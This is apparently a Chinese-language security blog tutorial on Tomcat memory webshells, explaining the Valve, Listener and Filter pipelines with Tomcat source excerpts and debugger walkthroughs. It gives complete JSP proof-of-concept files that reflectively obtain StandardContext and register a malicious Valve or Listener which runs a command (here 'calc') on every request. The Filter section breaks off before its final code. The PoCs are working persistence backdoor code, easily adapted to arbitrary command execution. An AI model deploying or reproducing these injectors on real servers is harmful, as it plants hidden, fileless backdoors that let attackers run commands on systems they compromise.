Valve内存马

前置基础

tomcat的内部结构

tomcat由Connector和Container两部分组成

  • Connector主要负责对外的网络交互,当收到网络请求时,它将请求包包装为Request,再将Request交给Container进行处理,最终返回给请求方
  • tomcat中的Container有四种,分别为engine,host,context,wrapper,实现类分别是StandardEngine,StandardHost,StandardContext,StandardWrapper,四个容器间是包含关系

我觉得下面这幅图很好的展示了tomcat的结构

我们要学习 Valve 型内存马,就必须要先了解一下 Valve 是什么

在了解 Valve 之前,我们先来简单了解一下 Tomcat 中的管道机制

我们知道,当 Tomcat 接收到客户端请求时,首先会使用 Connector 进行解析,然后发送到 Container 进行处理。那么我们的消息又是怎么在四类子容器中层层传递,最终送到 Servlet 进行处理的呢?这里涉及到的机制就是 Tomcat 管道机制。

管道机制主要涉及到两个名词,Pipeline(管道)和 Valve(阀门)。如果我们把请求比作管道(Pipeline)中流动的水,那么阀门(Valve)就可以用来在管道中实现各种功能,如控制流速等。

因此通过管道机制,我们能按照需求,给在不同子容器中流通的请求添加各种不同的业务逻辑,并提前在不同子容器中完成相应的逻辑操作。个人理解就是管道与阀门的这种模式,我们可以通过调整阀门,来实现不同的业务。

在Catalina中,有着四种Container,每个容器都有自己的Pipeline(管道)组件,每个Pipeline组件至少会存在一个Valve(阀门),这个Valve我们称之为BaseValve(基础阀)

Pipeline 提供了 **addValve** 方法,可以添加新 Valve 在 basic 之前,并按照添加顺序执行

当Connector将Request交给Container处理后,Container第一层就是Engine容器,但在tomcat中Engine容器不会直接调用它下一层Host容器去处理相关请求,而是通过Pipeline组件去处理,跟pipeline相关的还有个也是容器内部的组件,叫做valve组件

下面是 Pipeline 发挥功能的原理图

分析

这里我们先实现一个基础的Valve
1
2
3
4
5
6
7
8
9
10
11
12
13
import org.apache.catalina.connector.Request;
import org.apache.catalina.connector.Response;
import org.apache.catalina.valves.ValveBase;

import javax.servlet.ServletException;
import java.io.IOException;

public class ValveTest extends ValveBase {
@Override
public void invoke(Request request, Response response) throws IOException, ServletException {
System.out.println("Valve 被成功调用");
}
}

实现好Valve后,我们需要通过addValve方法,将Valve添加进Pipeline中,我们只要将Valve添加进去,就能实现内存马的注入

看一眼Pipeline的接口,存在addValve方法,我们可以通过这个方法把Valve添加进去

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
package org.apache.catalina;

import java.util.Set;

public interface Pipeline extends Contained {

public Valve getBasic();

public void setBasic(Valve valve);

public void addValve(Valve valve);

public Valve[] getValves();

public void removeValve(Valve valve);

public Valve getFirst();

public boolean isAsyncSupported();

public void findNonAsyncValves(Set<String> result);
}

找到Pipeline接口的实现类StandardPipeline,但是我们是无法直接获取到 StandardPipeline 的,所以这里去找一找 StandardContext 有没有获取到 StandardPipeline 的手段

StandardContext中,找到了一个getPipeline方法,跟进查看,会返回当前的Pipeline

可以看一下注解,这里写着 return 一个 Pipeline 类型的类,它是用来管理 Valves 的

1
2
3
4
5
6
7
protected final Pipeline pipeline = new StandardPipeline(this);

//Return the Pipeline object that manages the Valves associated with this Container
@Override
public Pipeline getPipeline() {
return this.pipeline;
}

所以可以证明这一点

1
StandardContext.getPipeline() = StandardPipeline; // 二者等价

Valve何处加载

有个问题:我们的 Valve 是应该放到 Filter,Listener,还是 Servlet 里面?

应该是在Servlet中被加载的,因为在Servlet内存马的HTTP11Processor 的加载 HTTP 请求当中,是出现了 Pipeline 的 basic 的

所以我们通过 Servlet 来加载。

实现

思路分析

现在的思路就已经很明确了
  1. 编写恶意Valve
  2. 反射获取StandardContext
  3. 调用getPieline()方法获取StandardPipeline
  4. 通过addValve方法将恶意Valve添加入StandardPipeline

Valve内存马实现

我们先编写一个恶意的Valve内存马
1
2
3
4
5
6
7
8
<%!
public class shellValve extends ValveBase {
@Override
public void invoke(Request request, Response response) throws IOException, ServletException {
Runtime.getRuntime().exec("calc");
}
}
%>

后续和前几个内存马一样,通过反射来获取StandardContext

1
2
3
4
5
6
7
8
ServletContext servletContext = request.getSession().getServletContext();
Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);

Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);

这里从别的师傅那里看到的,更简单方法的获取StandardContext,两个都是可以的

1
2
3
4
5
// 更简单的方法 获取StandardContext  
Field reqF = request.getClass().getDeclaredField("request");
reqF.setAccessible(true);
Request req = (Request) reqF.get(request);
StandardContext standardContext = (StandardContext) req.getContext();

最后实现内存马的注入

1
2
3
4
<%
standardContext.getPipeline().addValve(new shellValve());
out.println("success");
%>

最终poc如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.catalina.valves.ValveBase" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="org.apache.catalina.connector.Response" %>
<%@ page import="java.io.IOException" %><%--
Created by IntelliJ IDEA.
User: Andu1n
Date: 2025/2/21
Time: 11:15
To change this template use File | Settings | File Templates.
--%>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<html>
<head>
<title>Title</title>
</head>
<body>
<%
ServletContext servletContext = request.getSession().getServletContext();
Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);

Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);

%>

<%!
public class shellValve extends ValveBase {
@Override
public void invoke(Request request, Response response) throws IOException, ServletException {
Runtime.getRuntime().exec("calc");
}
}
%>

<%
standardContext.getPipeline().addValve(new shellValve());
out.println("success");
%>

</body>
</html>

启动tomcat服务后,访问我们上传的addValve.jsp后,Vlave内存马就被成功注入,后续访问任意路径,都会触发我们的Valve内存马

Listener内存马

前置基础

Java Web 开发中的监听器(Listener)就是 Application、Session 和 Request 三大对象创建、销毁或者往其中添加、修改、删除属性时自动执行代码的功能组件。

Listener三个域对象

  • ServletContextListener
  • HttpSessionListener
  • ServletRequestListener

根据名字来看,ServletRequestListenner是最适合当作内存马的。从名字就知道,ServletRequestListener是用来监听ServletRequest对象的,当我们访问任意资源时,即可触发ServletRequestListener#requestInitialized()方法

构建listener

之前构建Filter内存马,需要定义一个实现好filter接口的类,Listener也是一样,需要定义一个实现好Listener接口的类

要实现listener的业务,就要实现EventListener,感觉和Serializable接口相似,只起了一个标记作用

1
2
3
4
5
6
7
8
package java.util;

/**
* A tagging interface that all event listener interfaces must extend.
* @since JDK1.1
*/
public interface EventListener {
}

EventListener的实现类非常多,我们优先找Servlet开头的,方便去触发我们所构造的恶意Lisenter

我们找到了ServletRequestListener

感觉该监听器在我们每次发送请求时,都会触发其requestInitialized方法

1
2
3
4
5
6
public interface ServletRequestListener extends EventListener {

default public void requestDestroyed(ServletRequestEvent sre) {}

default public void requestInitialized(ServletRequestEvent sre) {}
}

先构造一个简单的listener

因为前面猜想 requestInitialized() 方法可以触发 Listener 监控器,所以我们在 requestInitialized() 方法里面加上一些代码,来证明它何时被执行。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import javax.servlet.ServletRequestEvent;
import javax.servlet.ServletRequestListener;
import javax.servlet.annotation.WebListener;

@WebListener("/listenerTest")
public class ListenerTest implements ServletRequestListener {

public ListenerTest(){
}

@Override
public void requestDestroyed(ServletRequestEvent sre) {

}

@Override
public void requestInitialized(ServletRequestEvent sre) {
System.out.println("Listener Initialized");
}
}

同样我们也需要在web.xml中配置

1
2
3
<listener>
<listener-class>ListenerTest</listener-class>
</listener>

接下来在访问路径时,都会打印信息

至此,Listener 基础代码实现完成,下面我们来分析 Listener 的运行流程。

分析

访问前

与servlet注册时相似,我们直接看到解析xml文件后做注册的地方ContextConfig#configureContext

将web.xml读取后,作为参数传入该方法中后,对servlet、filter、listener等组件进行配置

调试ContextConfig#configureContext,我们可以看到,获取的web.xml中已经有了对应的Listener文件

我们在这里重点关注listener的读取

1
2
3
4
5
6
7
private void configureContext(WebXml webxml) {
......
for (String listener : webxml.getListeners()) {
context.addApplicationListener(listener);
}
......
}

我们在此处下个断点,运行到这里

这里的context是StandardContext,执行的是StandardContextaddApplicationListener方法

在读取完web.xml文件后,需要去加载Listener

当我们读取完配置文件,当应用启动的时候,StandardContext 会去调用 listenerStart() 方法。这个方法做了一些基础的安全检查,最后完成简单的 start 业务。

刚开始的地方,listenerStart() 方法中有这么一个语句

1
String listeners[] = findApplicationListeners();

这里这个方法实际就是把之前的 Listener 返回,存放到listeners

1
2
3
4
@Override
public String[] findApplicationListeners() {
return applicationListeners;
}

访问后

把断点下在requestInitialized方法,开启调试,访问路径后走到这里

但这里只是我们所写的代码执行点,我们需要向上找,找到StandardContext#fireRequestInitEvent方法

这里会调用getApplicationEventListeners方法,获取ApplicationEventListeners并存入instances[]

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
@Override
public boolean fireRequestInitEvent(ServletRequest request) {

Object instances[] = getApplicationEventListeners();

if ((instances != null) && (instances.length > 0)) {

ServletRequestEvent event =
new ServletRequestEvent(getServletContext(), request);

for (Object instance : instances) {
if (instance == null) {
continue;
}
if (!(instance instanceof ServletRequestListener)) {
continue;
}
ServletRequestListener listener = (ServletRequestListener) instance;

try {
listener.requestInitialized(event);
} catch (Throwable t) {
ExceptionUtils.handleThrowable(t);
getLogger().error(sm.getString(
"standardContext.requestListener.requestInit",
instance.getClass().getName()), t);
request.setAttribute(RequestDispatcher.ERROR_EXCEPTION, t);
return false;
}
}
}
return true;
}

我们进入到getApplicationEventListeners()方法中,可以看到该方法只做了一件事:获取一个 Listener 数组

1
2
3
4
@Override
public Object[] getApplicationEventListeners() {
return applicationEventListenersList.toArray();
}

后面的for循环,会从Listener数组中,将listener一个一个取出来,去执行它的<font style="color:rgb(80, 80, 92);">requestInitialized</font>方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
for (Object instance : instances) {
if (instance == null) {
continue;
}
if (!(instance instanceof ServletRequestListener)) {
continue;
}
ServletRequestListener listener = (ServletRequestListener) instance;

try {
listener.requestInitialized(event);
} catch (Throwable t) {
ExceptionUtils.handleThrowable(t);
getLogger().error(sm.getString(
"standardContext.requestListener.requestInit",
instance.getClass().getName()), t);
request.setAttribute(RequestDispatcher.ERROR_EXCEPTION, t);
return false;
}
}

我们现在就要想,向这个数组中去添加我们的恶意listener

我们可以通过 StandardContext#addApplicationEventListener() 方法来添加 Listener

1
2
3
public void addApplicationEventListener(Object listener) {
applicationEventListenersList.add(listener);
}

到这一步的调试就没有内容了,所以这里的逻辑有应该是和 Filter 差不多的,Listener 这里有一个 Listener 数组,对应的 Filter 里面也有一个 Filter 数组。

实现

要实现内存马的注入,有以下两步
  • 在Listener中的requestInitialized() 方法里面写入恶意代码
  • 通过 StandardContext 类的 addApplicationEventListener() 方法把恶意的 Listener 放进去

首先和前两个内存马一样,通过反射来获取<font style="color:rgb(80, 80, 92);">StandardContext</font>

1
2
3
4
5
6
7
8
ServletContext servletContext =  request.getServletContext();  
Field applicationContextField = servletContext.getClass().getDeclaredField("context");
applicationContextField.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) applicationContextField.get(servletContext);

Field standardContextField = applicationContext.getClass().getDeclaredField("context");
standardContextField.setAccessible(true);
StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);

接下来定义我们的恶意Listener

1
2
3
4
5
6
7
8
9
10
11
<%!
public class Shell_Listener implements ServletRequestListener {

public void requestInitialized(ServletRequestEvent sre) {
Runtime.getRuntime().exec("calc");
}

public void requestDestroyed(ServletRequestEvent sre) {
}
}
%>

最后就要实例化内存马,并添加监听器

1
2
3
4
<%
Shell_Listener shell_Listener = new Shell_Listener();
context.addApplicationEventListener(shell_Listener);
%>

最终poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.util.List" %>
<%@ page import="java.util.Arrays" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="java.util.ArrayList" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="org.apache.catalina.connector.Response" %>
<%@ page import="java.io.IOException" %>
<html>
<head>
<title>Title</title>
</head>
<body>

<%!
public class Shell_Listener implements ServletRequestListener {

public void requestInitialized(ServletRequestEvent sre) {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
throw new RuntimeException(e);
}
}

public void requestDestroyed(ServletRequestEvent sre) {
}
}
%>

<%
ServletContext servletContext = request.getServletContext();
Field applicationContextField = servletContext.getClass().getDeclaredField("context");
applicationContextField.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) applicationContextField.get(servletContext);

Field standardContextField = applicationContext.getClass().getDeclaredField("context");
standardContextField.setAccessible(true);
StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);

Shell_Listener shellListener = new Shell_Listener();
standardContext.addApplicationEventListener(shellListener);
%>

</body>
</html>

将tomcat服务启动后,访问addListener.jsp,将恶意filter注册进tomcat,后续访问任何一个路径,都可以成功执行命令

Filter内存马

从图中可以看出,我们的请求会经过 filter 之后才会到 Servlet ,那么如果我们动态创建一个 filter 并且将其放在最前面,我们的 filter 就会最先执行,当我们在 filter 中添加恶意代码,就会进行命令执行,这样也就成为了一个内存 Webshell

环境配置

首先在IDEA中创建Servlet,并导入tomcat依赖

  • Tomcat 8.5.76
1
2
3
4
5
6
<dependency>  
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-catalina</artifactId>
<version>8.5.81</version>
<scope>provided</scope>
</dependency>

在我们的项目中构造一个Filter类memFilter

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
public class memFilter implements Filter {
public void init(FilterConfig config) throws ServletException {
System.out.println("OK");
}

public void destroy() {

}

@Override
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws ServletException, IOException {
System.out.println("filter success");
chain.doFilter(request, response);
}
}

修改web.xml,将该filter与路径绑定,即只有访问/filter时才会触发filter拦截器

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
version="4.0">

<filter>
<filter-name>filter</filter-name>
<filter-class>memFilter</filter-class>
</filter>
<filter-mapping>
<filter-name>filter</filter-name>
<url-pattern>/filter</url-pattern>
</filter-mapping>
</web-app>

分析

访问/filter后

我们在 filter.java 下的 doFilter 这个地方打断点,并且访问 /filter 接口,断下来开始调试

步入ApplicationFilterChain#doFilterGlobals.IS_SECURITY_ENABLED 用来判断一下是否开启全局服务,默认不开启

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
@Override
public void doFilter(ServletRequest request, ServletResponse response)
throws IOException, ServletException {

if( Globals.IS_SECURITY_ENABLED ) {
final ServletRequest req = request;
final ServletResponse res = response;
try {
java.security.AccessController.doPrivileged(
new java.security.PrivilegedExceptionAction<Void>() {
@Override
public Void run()
throws ServletException, IOException {
internalDoFilter(req,res);
return null;
}
}
);
} catch( PrivilegedActionException pe) {
Exception e = pe.getException();
if (e instanceof ServletException) {
throw (ServletException) e;
} else if (e instanceof IOException) {
throw (IOException) e;
} else if (e instanceof RuntimeException) {
throw (RuntimeException) e;
} else {
throw new ServletException(e.getMessage(), e);
}
}
} else {
internalDoFilter(request,response);
}
}

跳到最后的else中,进入到internalDoFilter方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
private void internalDoFilter(ServletRequest request,
ServletResponse response)
throws IOException, ServletException {

// Call the next filter if there is one
if (pos < n) {
ApplicationFilterConfig filterConfig = filters[pos++];
try {
Filter filter = filterConfig.getFilter();

if (request.isAsyncSupported() && "false".equalsIgnoreCase(
filterConfig.getFilterDef().getAsyncSupported())) {
request.setAttribute(Globals.ASYNC_SUPPORTED_ATTR, Boolean.FALSE);
}
if( Globals.IS_SECURITY_ENABLED ) {
final ServletRequest req = request;
final ServletResponse res = response;
Principal principal =
((HttpServletRequest) req).getUserPrincipal();

Object[] args = new Object[]{req, res, this};
SecurityUtil.doAsPrivilege ("doFilter", filter, classType, args, principal);
} else {
filter.doFilter(request, response, this);
}
} catch (IOException | ServletException | RuntimeException e) {
throw e;
} catch (Throwable e) {
e = ExceptionUtils.unwrapInvocationTargetException(e);
ExceptionUtils.handleThrowable(e);
throw new ServletException(sm.getString("filterChain.filter"), e);
}
return;
}

// We fell off the end of the chain -- call the servlet instance
try {
if (ApplicationDispatcher.WRAP_SAME_OBJECT) {
lastServicedRequest.set(request);
lastServicedResponse.set(response);
}

if (request.isAsyncSupported() && !servletSupportsAsync) {
request.setAttribute(Globals.ASYNC_SUPPORTED_ATTR,
Boolean.FALSE);
}
// Use potentially wrapped request from this point
if ((request instanceof HttpServletRequest) &&
(response instanceof HttpServletResponse) &&
Globals.IS_SECURITY_ENABLED ) {
final ServletRequest req = request;
final ServletResponse res = response;
Principal principal =
((HttpServletRequest) req).getUserPrincipal();
Object[] args = new Object[]{req, res};
SecurityUtil.doAsPrivilege("service",
servlet,
classTypeUsedInService,
args,
principal);
} else {
servlet.service(request, response);
}
} catch (IOException | ServletException | RuntimeException e) {
throw e;
} catch (Throwable e) {
e = ExceptionUtils.unwrapInvocationTargetException(e);
ExceptionUtils.handleThrowable(e);
throw new ServletException(sm.getString("filterChain.servlet"), e);
} finally {
if (ApplicationDispatcher.WRAP_SAME_OBJECT) {
lastServicedRequest.set(null);
lastServicedResponse.set(null);
}
}
}

filter是从filters[pos++]中获取的,其中定义如下

1
private ApplicationFilterConfig[] filters = new ApplicationFilterConfig[0];

filters其中存在两个filter,一个是tomcat本身自带的,另一个就是我们所定义的

我们查找用法,其中写入值的方法只有ApplicationFilterChainaddFilter方法中

而addFilter所调用的地方也只有ApplicationFilterFactorycreateFilterChain的两个位置,剩下的调用会在后面与这里呼应

现在pos是1,所以目前得到的filter是tomcat的filter,下面执行filter.doFilter(request, response, this);(这里我的IDEA无法走入WsFilter的doFilter方法QAQ)

<font style="color:rgb(80, 80, 92);">chain.doFilter()</font>,会回到 ApplicationFilterChain 类的 DoFilter() 方法里面

  • 这里理解一下,我们是filterchain,因此需要一个一个获取filter,直到获取到最后一个,很正常的一个链式调用

当pos > n时,就会跳出if中,经过中间一些判断,最后走到servlet.service(request, response);

访问/filter前

我们想要实现filter内存马,就要明白filter是如何被创建并注册的(调用流程如下)

我们选到StandardWrapperValveinvoke方法中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
@Override
public final void invoke(Request request, Response response)
throws IOException, ServletException {

......

MessageBytes requestPathMB = request.getRequestPathMB();
DispatcherType dispatcherType = DispatcherType.REQUEST;
if (request.getDispatcherType()==DispatcherType.ASYNC) {
dispatcherType = DispatcherType.ASYNC;
}
request.setAttribute(Globals.DISPATCHER_TYPE_ATTR,dispatcherType);
request.setAttribute(Globals.DISPATCHER_REQUEST_PATH_ATTR,
requestPathMB);
// Create the filter chain for this request
ApplicationFilterChain filterChain =
ApplicationFilterFactory.createFilterChain(request, wrapper, servlet);

// Call the filter chain for this request
// NOTE: This also calls the servlet's service() method
Container container = this.container;
try {
if ((servlet != null) && (filterChain != null)) {
// Swallow output if needed
if (context.getSwallowOutput()) {
try {
SystemLogHandler.startCapture();
if (request.isAsyncDispatching()) {
request.getAsyncContextInternal().doInternalDispatch();
} else {
filterChain.doFilter(request.getRequest(),
response.getResponse());
}
} finally {
String log = SystemLogHandler.stopCapture();
if (log != null && log.length() > 0) {
context.getLogger().info(log);
}
}
} else {
if (request.isAsyncDispatching()) {
request.getAsyncContextInternal().doInternalDispatch();
} else {
filterChain.doFilter
(request.getRequest(), response.getResponse());
}
}

}
}
......
}

其中存在一个createFilterChain方法,会构建一个filterchain,方法代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
public static ApplicationFilterChain createFilterChain(ServletRequest request,
Wrapper wrapper, Servlet servlet) {

// If there is no servlet to execute, return null
if (servlet == null) {
return null;
}

// Create and initialize a filter chain object
ApplicationFilterChain filterChain = null;
if (request instanceof Request) {
Request req = (Request) request;
if (Globals.IS_SECURITY_ENABLED) {
// Security: Do not recycle
filterChain = new ApplicationFilterChain();
} else {
filterChain = (ApplicationFilterChain) req.getFilterChain();
if (filterChain == null) {
filterChain = new ApplicationFilterChain();
req.setFilterChain(filterChain);
}
}
} else {
// Request dispatcher in use
filterChain = new ApplicationFilterChain();
}

filterChain.setServlet(servlet);
filterChain.setServletSupportsAsync(wrapper.isAsyncSupported());

// Acquire the filter mappings for this Context
StandardContext context = (StandardContext) wrapper.getParent();
FilterMap filterMaps[] = context.findFilterMaps();

// If there are no filter mappings, we are done
if ((filterMaps == null) || (filterMaps.length == 0)) {
return filterChain;
}

// Acquire the information we will need to match filter mappings
DispatcherType dispatcher =
(DispatcherType) request.getAttribute(Globals.DISPATCHER_TYPE_ATTR);

String requestPath = null;
Object attribute = request.getAttribute(Globals.DISPATCHER_REQUEST_PATH_ATTR);
if (attribute != null){
requestPath = attribute.toString();
}

String servletName = wrapper.getName();

// Add the relevant path-mapped filters to this filter chain
for (FilterMap filterMap : filterMaps) {
if (!matchDispatcher(filterMap, dispatcher)) {
continue;
}
if (!matchFiltersURL(filterMap, requestPath)) {
continue;
}
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig)
context.findFilterConfig(filterMap.getFilterName());
if (filterConfig == null) {
// FIXME - log configuration problem
continue;
}
filterChain.addFilter(filterConfig);
}

// Add filters that match on servlet name second
for (FilterMap filterMap : filterMaps) {
if (!matchDispatcher(filterMap, dispatcher)) {
continue;
}
if (!matchFiltersServlet(filterMap, servletName)) {
continue;
}
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig)
context.findFilterConfig(filterMap.getFilterName());
if (filterConfig == null) {
// FIXME - log configuration problem
continue;
}
filterChain.addFilter(filterConfig);
}

// Return the completed filter chain
return filterChain;
}

filterMaps[]属性是从context执行findFilterMaps方法后所返回的

1
2
3
4
@Override
public FilterMap[] findFilterMaps() {
return filterMaps.asArray();
}

其中filterChain.addFilter(filterConfig);会将filter加入到filterChain中

要想执行到filterChain.addFilter(filterConfig);,我们需要保证filterMaps与filterConfig不为空

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
if ((filterMaps == null) || (filterMaps.length == 0)) {
return filterChain;
}

for (FilterMap filterMap : filterMaps) {
if (!matchDispatcher(filterMap, dispatcher)) {
continue;
}
if (!matchFiltersURL(filterMap, requestPath)) {
continue;
}
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig)
context.findFilterConfig(filterMap.getFilterName());
if (filterConfig == null) {
// FIXME - log configuration problem
continue;
}
filterChain.addFilter(filterConfig);
}

小结流程

执行invoke方法

层层调用invoke,对filterChain执行addFilter方法,构造好filterChain

拿出filterchain

进行`dofilter`工作,对filterchain中的filter一个一个进行链式调用

最后一个filter

在最后一个filter执行完doFilter方法后,跳到<font style="color:rgb(83, 83, 96);background-color:rgb(242, 242, 242);">Servlet.service()</font>

攻击思路

我们的攻击代码,应该在StandardContext#findFilterConfig中生效,从filterConfigs获取filter,可以保证我们的每次请求都会触发恶意filter,若在其他位置加入filter,可能只会在本次请求中触发恶意filter

1
2
3
public FilterConfig findFilterConfig(String name) {
return filterConfigs.get(name);
}

我们只需要构造含有恶意的 filter 的 filterConfig 和拦截器 filterMaps,就可以达到触发目的了,并且它们都是从 StandardContext 中来的。

而这个 filterMaps 中的数据对应 web.xml 中的 filter-mapping 标签

1
2
3
4
5
6
7
8
9
10
11
<?xml version="1.0" encoding="UTF-8"?>  
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
version="4.0">
<filter> <filter-name>filter</filter-name>
<filter-class>filter</filter-class>
</filter>
<filter-mapping> <filter-name>filter</filter-name>
<url-pattern>/filter</url-pattern>
</filter-mapping></web-app>

思路分析

StandardContext 这个类是一个容器类,它负责存储整个 Web 应用程序的数据和对象,并加载了 web.xml 中配置的多个 Servlet、Filter 对象以及它们的映射关系。

在该类中,有以下三个与filter有关的成员变量

  1. filterConfigs 成员变量是一个HashMap对象,里面存储了filter名称与对应的ApplicationFilterConfig对象的键值对,在ApplicationFilterConfig对象中则存储了Filter实例以及该实例在web.xml中的注册信息。
  2. filterDefs 成员变量成员变量是一个HashMap对象,存储了filter名称与相应FilterDef的对象的键值对,而FilterDef对象则存储了Filter包括名称、描述、类名、Filter实例在内等与filter自身相关的数据
  3. filterMaps 中的FilterMap则记录了不同filter与UrlPattern的映射关系

我们需要找到一个方法,去修改filterMaps,它对应的是web.xml中的filter-mapping标签,也就是路径filter-name的对应关系

  • 而我们后面说的<font style="color:rgb(80, 80, 92);">filterDef</font>,对应的就是web.xml中的filter标签,是Filter类filter-name的对应关系

StandardContext类中存在两个方法,可以向<font style="color:rgb(80, 80, 92);">filterMaps</font>中添加数据

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
@Override
public void addFilterMap(FilterMap filterMap) {
validateFilterMap(filterMap);
// Add this filter mapping to our registered set
filterMaps.add(filterMap);
fireContainerEvent("addFilterMap", filterMap);
}

@Override
public void addFilterMapBefore(FilterMap filterMap) {
validateFilterMap(filterMap);
// Add this filter mapping to our registered set
filterMaps.addBefore(filterMap);
fireContainerEvent("addFilterMap", filterMap);
}

修改filterDef,在StandardContext类中存在着方法<font style="color:rgb(80, 80, 92);">addFilterDef</font>

1
2
3
4
5
6
7
8
public void addFilterDef(FilterDef filterDef) {

synchronized (filterDefs) {
filterDefs.put(filterDef.getFilterName(), filterDef);
}
fireContainerEvent("addFilterDef", filterDef);

}

最后的filterConfig,在StandardContext类中存在着方法<font style="color:rgb(80, 80, 92);">filterStart</font>,该方法中的<font style="color:rgb(80, 80, 92);">filterConfigs.put(name, filterConfig);</font>部分完成了<font style="color:rgb(80, 80, 92);">filterConfig</font>的添加。在后续实现过程中,可以调用<font style="color:rgb(80, 80, 92);">StandardContext#filterStart</font>方法完成添加,也可以直接调用<font style="color:rgb(80, 80, 92);">filterConfigs.put(name, filterConfig);</font>,道理都是一样的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
public boolean filterStart() {

if (getLogger().isDebugEnabled()) {
getLogger().debug("Starting filters");
}
// Instantiate and record a FilterConfig for each defined filter
boolean ok = true;
synchronized (filterConfigs) {
filterConfigs.clear();
for (Entry<String,FilterDef> entry : filterDefs.entrySet()) {
String name = entry.getKey();
if (getLogger().isDebugEnabled()) {
getLogger().debug(" Starting filter '" + name + "'");
}
try {
ApplicationFilterConfig filterConfig =
new ApplicationFilterConfig(this, entry.getValue());
filterConfigs.put(name, filterConfig);
} catch (Throwable t) {
t = ExceptionUtils.unwrapInvocationTargetException(t);
ExceptionUtils.handleThrowable(t);
getLogger().error(sm.getString(
"standardContext.filterStart", name), t);
ok = false;
}
}
}

return ok;
}

实现

servlet内存马相似,依旧是写马+动态注册

构造思路

通过前文分析,得出构造的主要思路如下
1、获取当前应用的ServletContext对象
2、通过ServletContext对象再获取filterConfigs
2、接着实现自定义想要注入的filter对象
4、然后为自定义对象的filter创建一个FilterDef
5、最后把 ServletContext对象、filter对象、FilterDef全部都设置到filterConfigs即可完成内存马的实现

filter内存马的实现

这里是实现代码执行,不对内存马的回显进行分析

实现动态注册,首先需要通过反射来获取StandardContext(和servlet内存马一样)

1
2
3
4
5
6
7
8
ServletContext servletContext = request.getSession().getServletContext();
Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);

Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);

由前面Filter实例存储分析得知 StandardContext Filter实例存放在filterConfigs、filterDefs、filterConfigs这三个变量里面,将fifter添加到这三个变量中即可将内存马打入。

1
2
